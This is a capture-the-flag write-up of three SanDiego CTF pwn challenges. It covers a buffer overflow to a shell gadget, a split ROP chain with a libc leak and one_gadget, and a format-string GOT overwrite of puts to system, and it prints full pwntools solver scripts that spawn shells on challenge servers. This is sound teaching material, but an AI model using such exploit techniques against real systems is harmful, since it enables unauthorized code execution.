SanDiego CTF is pretty unique because the CTF platform is using Discord. I only have time to look at the pwn challenge, so here’s my writeup for some challenge that I solved
Pwn
Horoscope
Initial Analysis
We were given a binary. Let’s disassemble it:
main
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
undefined8 main(void)
{
char local_38 [48];
puts("Welcome to SDCTF\'s very own text based horoscope");
puts(
"please put in your birthday and time in the format (month/day/year/time) and we will have you r very own horoscope"
);
fflush(stdout);
fgets(local_38,0x140,stdin);
processInput(local_38);
return 0;
}
|
processInput
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
|
void processInput(char *param_1)
{
char *__nptr;
int local_1c;
char *local_18;
int local_c;
__nptr = strtok(param_1,"/");
for (local_1c = 0; local_1c < 4; local_1c = local_1c + 1) {
if (local_1c == 0) {
local_c = atoi(__nptr);
}
if (local_1c == 3) {
atoi(__nptr);
}
}
switch(local_c) {
default:
puts("thats not a valid date >:-(");
fflush(stdout);
/* WARNING: Subroutine does not return */
exit(1);
case 1:
local_18 = "January";
break;
case 2:
local_18 = "February";
break;
case 3:
local_18 = "March";
break;
case 4:
local_18 = "April";
break;
case 5:
local_18 = "May";
break;
case 6:
local_18 = "June";
break;
case 7:
local_18 = "July";
break;
case 8:
local_18 = "August";
break;
case 9:
local_18 = "September";
break;
case 10:
local_18 = "October";
break;
case 0xb:
local_18 = "November";
break;
case 0xc:
local_18 = "December";
}
printf("wow, you were born in the month of %s. I think that means you will have a great week! :)",
local_18);
fflush(stdout);
return;
}
|
Looking at the main, there is buffer overflow bug. Looking at the checksec
result, there isn’t any canary also:
1
2
3
4
5
|
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
|
And then we also found a test
function which call system('/bin/sh')
1
2
3
4
5
6
7
8
|
void test(void)
{
if (temp == 1) {
system("/bin/sh");
}
return;
}
|
Notes that the if else doesn’t matter, because we can directly use the system
line instead of the start of the test
function
Exploitation Plan
Well, simply use the buffer overflow bug to overwrite the main
ret to the given system
line of code. Also make sure that our buffer overflow payload should follow the processInput
validation (which is a date).
Solution
Below is the full solver script to buffer overflow it:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
from pwn import *
from pwn import p64, u64, p32, u32
context.arch = 'amd64'
context.encoding = 'latin'
context.log_level = 'INFO'
warnings.simplefilter("ignore")
exe = ELF("./horoscope")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.PLT_DEBUG:
gdb.attach(r, gdbscript='''
b *main+100
''')
else:
r = remote("horoscope.sdc.tf", 1337)
return r
r = conn()
system_addr = p64(0x000000000040095f)
payload = b'11/11/11' + b'1'*0x30 +system_addr
r.sendlineafter(b'horoscope\n', payload)
r.interactive()
|
Run the solver and we will get a shell to read the flag
Flag: sdctf{S33ms_y0ur_h0rO5c0p3_W4s_g00d_1oD4y}
Secure-Horoscope
Initial Analysis
We were given a binary and dockerfile. Let’s disassemble it first.
main
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
int main(int argc,char **argv)
{
char buf [40];
int i;
i = 0;
puts("We fixed some bugs in our last horoscope, this one should be secure!\n");
puts("To get started, tell us how you feel");
fflush(stdout);
fgets(buf,0x28,stdin);
printf("feeling like %s? That\'s interesting.",buf);
fflush(stdout);
for (; i != 2; i = i + 1) {
puts(
"please put in your birthday and time in the format (month/day/year/time) and we will have y our very own horoscope\n"
);
fflush(stdout);
getInfo();
puts("want to try again?\n");
fflush(stdout);
}
puts("too bad, we don\'t have the resources for that right now >:(");
fflush(stdout);
return 0;
}
|
Looking at the main function, it looks like main will call getInfo
twice before exit. So far, main
doesn’t have any vulns that I could see. Let’s take a look at the getInfo
getInfo
1
2
3
4
5
6
7
8
9
10
11
12
|
void getInfo(void)
{
char info [100];
memset(info,0,100);
read(0,info,0x8c);
puts(info);
puts("hm, I\'ll have to think about what this means. I\'ll get back to you in 5 business days.");
fflush(stdout);
return;
}
|
We can see that there is buffer overflow vuln during read, but we can only overwrite 20-bytes at most after the function saved RBP. Let’s checksec it first
1
2
3
4
5
|
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
|
Okay, no canary! However, 20-bytes are pretty small. To leak a libc function address, AFAIK, we need to have at least 24-bytes (pop_rdi + libc_got + puts_plt
) 😢
Looking at the Dockerfile
, we can simply build it and get the used libc
file for the challenge in the server.
Exploitation Plan
First, with the buffer overflow, we can simply overwrite the return address of getInfo
to getInfo
again, so that it won’t return to the main. This means the limitation of getInfo
in the main (only 2 times to input) is bypassed.
Second, through observation via GDB, everytime we overwrite getInfo
return address to getInfo
again, the new stack RSP address is increased by 8. Look at the below gdb result.
During the first time we use getInfo
the RSP just before it ret is placed on 0x7fff22cd8448
. Notice that starting from the rsp+0x18
is our previous input during filling the how you feel question.
After overwrite the ret to getInfo
again, notice that the RSP just before it ret is placed on 0x7fff22cd8450
(Increased by 8). And now, our input in getInfo
got merged with our previous input in main.
Based on above, our input in getInfo
will be placed just above our previous input in main
(during storing how you feel question). This means that our buffer overflow will be technically increased from 20-bytes only to 60-bytes after we overwrite getInfo
ret to getInfo
again (20-bytes + input in main
size).
From the above information, that means we can definitely leak address of any libc function. The plan is to split our ROP chain to leak the libc. The first part will be stored during getInfo
, the second part will be stored via main.
After leaking the libc, we can simply ret to getInfo
again, and then overwrite the return pointer to system. We can use one_gadget
to help us get the shell address.
Solution
Okay, so now, we need to craft our ROP chain to leak the libc address. With the help of ROPGadget
, we can find address which will do pop rdi; ret
. So, my ROP chain would be like this:
1
|
pop_rdi_ret + puts_got + puts_plt + getInfo
|
So, we put the puts_got
to rdi
, and then call puts
, and then return it back to getInfo
. We need to ret it back to getInfo
so that we can overwrite its return pointer with the system address.
We split it into two parts, pop_rdi_ret + puts_got
and puts_plt + getInfo
. Put the second part in main
, and put the first part into getInfo
.
First, put up the second part in main, and then overwrite the getInfo
return pointer with getInfo
again first.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
puts_plt = exe.plt['puts']
puts_got = exe.got['puts']
pop_rdi = 0x0000000000400873 # pop rdi; ret
getInfo = exe.symbols['getInfo']
r = conn()
r.sendlineafter(b'feel\n', p64(puts_plt)+p64(getInfo))
# Ret to getInfo again
print()
print(f'Ret2getInfo again')
payload = b'a'*0x78 + p64(getInfo)
r.sendafter(b'horoscope\n\n', payload)
r.recvuntil(b'\n').strip()
r.recvuntil(b'\n').strip()
|
Now, based on our observation with GDB, when we overflow the next getInfo
, it will placed inside the program stack just above our input in the main
. Now, put the first part to the getInfo
1
2
3
4
5
6
7
|
# Pop puts_got to rdi, ret to puts_plt (First input, got this via observation in GDB)
print()
print(f'Time to leak libc base...')
payload = b'a'*0x78 + p64(pop_rdi) + p64(puts_got) # Because it got merged with our main input, our ROP will continue to puts_plt + getInfo
r.send(payload)
r.recvuntil(b'\n').strip()
r.recvuntil(b'\n').strip()
|
Honestly, on my local, after executing above script, I am able to get the leaked puts libc address. However, somehow in the server, I couldn’t do that. Instead, I need to send any string first before the server return the leaked puts libc. So, I decided to send another payload which will overwrite getInfo
to getInfo
again.
1
2
3
4
5
6
7
8
9
10
11
12
|
# I don't know but somehow, in the server, it didn't return the puts_plt immediately
# Somehow, I need to send something first before getting the leaked puts address
# So, I decided to send another payload to return to getInfo again
r.send(b'a'*0x78 + p64(getInfo))
out = r.recvuntil(b'\n').strip() # Finally got the leaked libc
r.recvuntil(b'\n').strip()
r.recvuntil(b'\n').strip()
leaked_puts = u64(out.ljust(8, b'\x00'))
print(f'leaked_puts : {hex(leaked_puts)}')
libc_base = leaked_puts - libc.symbols['puts']
libc.address = libc_base
print(f'libc base : {hex(libc_base)}')
|
Finally, after we got the libc base address, we can simply use one_gadget
to gain the shell address (with constraints). Now, for the last step, overwrite the getInfo
return pointer with the shell.
1
2
3
4
5
6
|
one_gadget = 0x4f302 # [rsp+0x40] == NULL
payload = b'a'*0x78 + p64(libc_base+one_gadget)
r.send(payload)
r.recvuntil(b'\n').strip()
r.recvuntil(b'\n').strip()
r.interactive()
|
And we got the shell 😃
Below is the full solver script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
|
from pwn import *
from pwn import p64, u64, p32, u32
context.arch = 'amd64'
context.encoding = 'latin'
context.log_level = 'INFO'
warnings.simplefilter("ignore")
exe = ELF("./secureHoroscope_patched")
libc = ELF("./libc-2.27.so")
ld = ELF("./ld-2.27.so")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path], env={})
if args.PLT_DEBUG:
gdb.attach(r, gdbscript='''
b *getInfo+93
''')
else:
r = remote("sechoroscope.sdc.tf", 1337)
return r
puts_plt = exe.plt['puts']
puts_got = exe.got['puts']
one_gadget = 0x4f302 # [rsp+0x40] == NULL
pop_rdi = 0x0000000000400873 # pop rdi; ret
getInfo = exe.symbols['getInfo']
r = conn()
r.sendlineafter(b'feel\n', p64(puts_plt)+p64(getInfo))
# Ret to getInfo again
print()
print(f'Ret2getInfo again')
payload = b'a'*0x78 + p64(getInfo)
r.sendafter(b'horoscope\n\n', payload)
r.recvuntil(b'\n').strip()
r.recvuntil(b'\n').strip()
# Pop puts_got to rdi, ret to puts_plt (First input, got this via observation in GDB)
print()
print(f'Time to leak libc base...')
payload = b'a'*0x78 + p64(pop_rdi) + p64(puts_got)
r.send(payload)
r.recvuntil(b'\n').strip()
r.recvuntil(b'\n').strip()
# I don't know but somehow, in the server, it didn't return the puts_plt immediately
# Somehow, I need to send something first before getting the leaked puts address
# So, I decided to send another payload to return to getInfo again
r.send(b'a'*0x78 + p64(getInfo))
out = r.recvuntil(b'\n').strip() # Finally got the leaked libc
r.recvuntil(b'\n').strip()
r.recvuntil(b'\n').strip()
leaked_puts = u64(out.ljust(8, b'\x00'))
print(f'leaked_puts : {hex(leaked_puts)}')
libc_base = leaked_puts - libc.symbols['puts']
libc.address = libc_base
print(f'libc base : {hex(libc_base)}')
# Finally, ret 2 shell (one_gadget)
print()
print(f'Time to ret2one_gadget...')
payload = b'a'*0x78 + p64(libc_base+one_gadget)
r.send(payload)
r.recvuntil(b'\n').strip()
r.recvuntil(b'\n').strip()
r.interactive()
|
Flag: sdctf{Th0s3_d4rN_P15C3s_g0t_m3}
Oil Spill
Initial Analysis
We were given a binary and Dockerfile. Let’s disassemble the binary first
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
undefined8 main(undefined8 param_1,undefined8 param_2)
{
undefined8 in_R9;
long in_FS_OFFSET;
char local_148 [312];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
printf("%p, %p, %p, %p\n",puts,printf,local_148,temp,in_R9,param_2);
puts("Oh no! We spilled oil everywhere and its making everything dirty");
puts("do you have any ideas of what we can use to clean it?");
fflush(stdout);
fgets(local_148,300,stdin);
printf(local_148);
puts(x);
fflush(stdout);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
|
If we look at the code, seems like the code already leaked the libc of puts
and printf
. Another thing that we could notice is, there is a format string bug in below code
1
2
|
fgets(local_148,300,stdin);
printf(local_148);
|
Also another thing to look is the puts(x)
line. Checking on Ghidra,x
is a string located in .data
Looking at the given Dockerfile
, we can simply build it, and then take the libc
file of the binary.
Exploitation Plan
Based on the initial analysis, what we already have are:
- Libc file (from
Dockerfile
)
- Libc base during the binary execution (Due to the leak)
- Format string bug
Note that we can overwrite value with format string bug via %n
. For example, if we do %20$n
, then it will overwrite the 20th element with how many characters have we printed.
Based on those, my plan is to overwrite the puts
to system
, and x
to /bin/sh\x00
. So that after reading our payload, when the binary call puts(x)
, they will call system('/bin/sh\x00')
instead.
Solution
So, in order to execute the plan, what I do is:
- Overwrite
x
value byte per byte (via %hhn
)
- Overwrite
puts
last byte (via %hhn
)
- Overwrite
puts
second and third last byte (via %hn
)
First, let’s try to get the libc base from the leaked:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
r = conn()
outs = r.recvuntil(b'\n').strip().split(b',')
leaked_puts = int(outs[0], 16)
libc_base = leaked_puts - libc.symbols['puts']
libc.address = libc_base
print(f'Leaked Libc base: {hex(libc_base)}')
system_addr = libc.symbols["system"]
print(f'system@libc: {hex(system_addr)}')
puts_got = exe.got["puts"] # This will be overwritten with system
print(f'puts@got : {hex(puts_got)}')
x_addr = exe.symbols["x"] # This will be overwritten with /bin/sh\x00
print(f'x : {hex(x_addr)}')
|
After executing the above codes, we will already have:
- The
puts
got location
- The
x
location
- The
system
address in libc
Now, let’s craft our payload. Below is the payload that I use
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
fmt_str = b''
fmt_str += f'%21$hhn'.encode() # Overwrite lsb of x to \x00
fmt_str += f'%{0x20}c%22$hhn'.encode() # Overwrite lsb of puts to lsb of system
# Overwrite x to '/bin/sh'
fmt_str += f'%{0x2f-0x20}c%23$hhn'.encode()
fmt_str += f'%24$hhn'.encode()
fmt_str += f'%{0x62-0x2f}c%25$hhn'.encode()
fmt_str += f'%{0x68-0x62}c%26$hhn'.encode()
fmt_str += f'%{0x69-0x68}c%27$hhn'.encode()
fmt_str += f'%{0x6e-0x69}c%28$hhn'.encode()
fmt_str += f'%{0x73-0x6e}c%29$hhn'.encode()
# Overwrite 2nd and 3rd byte of puts to system
second_third_byte_system = u64(p64(system_addr)[1:3].ljust(8, b'\x00'))
fmt_str += f'%{second_third_byte_system-0x73}c%30$hn'.encode()
fmt_str = pad(fmt_str, 8)
# This will be used as the address that we will overwrite
# For x_addr, we will overwrite it per byte
# For puts, we will:
# - Overwrite the last byte first (0x20)
# - Overwrite the second and third byte together
addr = b''
addr += p64(x_addr+7) + p64(puts_got) + p64(x_addr)
addr += p64(x_addr+4) + p64(x_addr+1) + p64(x_addr + 6)
addr += p64(x_addr + 2) + p64(x_addr + 3) + p64(x_addr + 5)
addr += p64(puts_got+1)
payload = fmt_str + addr
|
So, %hhn
will overwrite 1 byte of the targeted element with the total character that we have printed, %hn
will overwrite 2 bytes of the targeted element, and %c
will print space with total as the given number (For example, %100c
will print 100 spaces). And %10c%5$n
means we overwrite the fifth element with 0xA (10).
Notes that we actually need to carefully craft our payload to make sure the payload is ordered by the byte, because any character that we print to overwrite the current element, will be counted also during overwritten the next element. For example, if we already print 0x20, and then we want to overwrite another element, we can only overwrite it with size larger than 0x20. Let say we want to overwrite it with 0x2f, then we only need to print 0xf more.
This means that we need to sort our payload to overwrite the address sorted by the byte from the smallest to the largest, because we can’t decrease the total count of the characters that we have printed. The above payload already fulfilled this increasing condition.
Below is the result after we send the crafted payload to the server. We got a shell and we can read the flag
This is the full solver script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
|
from Crypto.Util.Padding import pad
from pwn import *
context.arch = 'amd64'
context.encoding = 'latin'
context.log_level = 'INFO'
warnings.simplefilter("ignore")
exe = ELF("./OilSpill_patched")
libc = ELF("./libc-2.27.so")
ld = ELF("./ld-2.27.so")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.PLT_DEBUG:
gdb.attach(r, gdbscript='''
b *main+186
''')
else:
r = remote("oil.sdc.tf", 1337)
return r
r = conn()
outs = r.recvuntil(b'\n').strip().split(b',')
print(f'Outs: {outs}')
leaked_puts = int(outs[0], 16)
libc_base = leaked_puts - libc.symbols['puts']
libc.address = libc_base
print(f'Leaked Libc base: {hex(libc_base)}')
system_addr = libc.symbols["system"]
print(f'system@libc: {hex(system_addr)}')
puts_got = exe.got["puts"] # This will be overwritten with system
print(f'puts@got : {hex(puts_got)}')
x_addr = exe.symbols["x"] # This will be overwritten with /bin/sh\x00
print(f'x : {hex(x_addr)}')
print(f'Try to overwrite GOT puts to system....')
fmt_str = b''
fmt_str += f'%21$hhn'.encode() # Overwrite lsb of x to \x00
fmt_str += f'%{0x20}c%22$hhn'.encode() # Overwrite lsb of puts to lsb of system
# Overwrite x to '/bin/sh'
fmt_str += f'%{0x2f-0x20}c%23$hhn'.encode()
fmt_str += f'%24$hhn'.encode()
fmt_str += f'%{0x62-0x2f}c%25$hhn'.encode()
fmt_str += f'%{0x68-0x62}c%26$hhn'.encode()
fmt_str += f'%{0x69-0x68}c%27$hhn'.encode()
fmt_str += f'%{0x6e-0x69}c%28$hhn'.encode()
fmt_str += f'%{0x73-0x6e}c%29$hhn'.encode()
# Overwrite 2nd and 3rd byte of puts to system
second_third_byte_system = u64(p64(system_addr)[1:3].ljust(8, b'\x00'))
fmt_str += f'%{second_third_byte_system-0x73}c%30$hn'.encode()
fmt_str = pad(fmt_str, 8)
# This will be used as the address that we will overwrite
# For x_addr, we will overwrite it per byte
# For puts, we will:
# - Overwrite the last byte first (0x20)
# - Overwrite the second and third byte together
addr = b''
addr += p64(x_addr+7) + p64(puts_got) + p64(x_addr)
addr += p64(x_addr+4) + p64(x_addr+1) + p64(x_addr + 6)
addr += p64(x_addr + 2) + p64(x_addr + 3) + p64(x_addr + 5)
addr += p64(puts_got+1)
payload = fmt_str + addr
r.sendlineafter(b'to clean it?\n', payload)
r.readrepeat(1)
r.interactive()
|
Flag: sdctf{th4nks_f0r_S4V1nG_tH3_duCk5}
Follow me on twitter